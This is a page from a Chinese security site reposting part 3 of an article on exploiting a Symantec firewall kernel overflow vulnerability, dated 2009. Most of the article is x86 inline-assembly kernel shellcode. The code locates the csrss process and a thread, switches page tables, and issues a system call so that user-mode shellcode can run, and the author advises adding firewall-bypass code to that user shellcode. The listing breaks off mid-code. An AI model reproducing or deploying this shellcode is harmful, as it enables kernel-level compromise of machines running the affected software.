安全服务|网站地图|RSS订阅
位置:主页 > 计算机网络安全 >

SYMANTEC防火墙内核溢出漏洞安全返回法(3)

时间:2009-12-18 15:46 来源: 服务器安全资源网 作者: 秩名 阅读:


峰会上由于FLASHSKY大牛不肯透露源代码,所以只好自己动手,丰衣足食了。这段时间由于得复习补考(上学期一不小心挂了4门#_#),所以拖了这么久。其实代码很早就写好了,就是懒得写这篇文档。今早终于下定决心花了一上午完成了这篇文档,估计难免有什么错误,望大家指出。

SHELLCODE由内核SHELLCODE和用户SHELLCODE组成,内核SHELLCODE负责返回并执行用户SHELLCODE,用户SHELLCODE则是普通的功能,注意得加入穿防火墙的代码就行。下面是内核SHELLCODE代码,转成机器码只有260多个字节,基本不算太大:):

__declspec(naked) JustTest()

{

__asm

{

call go1

go1:

pop eax

push eax

mov ebx, 0xffdff55c

mov ebx, dword ptr [ebx]

mov ebx, dword ptr [ebx+0x44]

push 0x73727363

FindProcess:

mov edi, esp

lea esi, dword ptr [ebx+0x1fc]

push 0x4

pop ecx

repe cmpsb

jecxz go2

mov ebx, dword ptr [ebx+0xa0]

sub ebx, 0xa0

jmp FindProcess

go2:

pop edx

mov edx, dword ptr [ebx+0x50]

FindThread:

movzx ecx, byte ptr [edx-0x86]

dec ecx

jecxz go3

mov edx, dword ptr [edx]

jmp FindThread

go3:

mov eax, dword ptr [ebx+0x18]

mov ebp, esp

sub esp, 0x40

push edx

mov cr3, eax

push 0x10

pop ecx

xor eax, eax

lea edi, dword ptr [ebp-0x40]

ZeroStack:

stosd

loop ZeroStack

mov byte ptr [ebp-0x38], 0x18

lea edi, dword ptr [edx+0x3c]

push edi

lea edi, dword ptr [ebp-0x38]

push edi

lea edi, dword ptr [ebp-0x8]

push 0x1f0fff

push edi

mov al, 0x6a

lea edx, dword ptr [esp]

int 0x2e

add esp, 0x10

阅读排行
最新阅读
反黑客技术
反病毒资讯
网络安全资讯
Copyright © 2003-2010 Server Security Resource Site.服务器安全资源网 版权所有 Design: Berlin QQGroup [粤ICP备09049593号]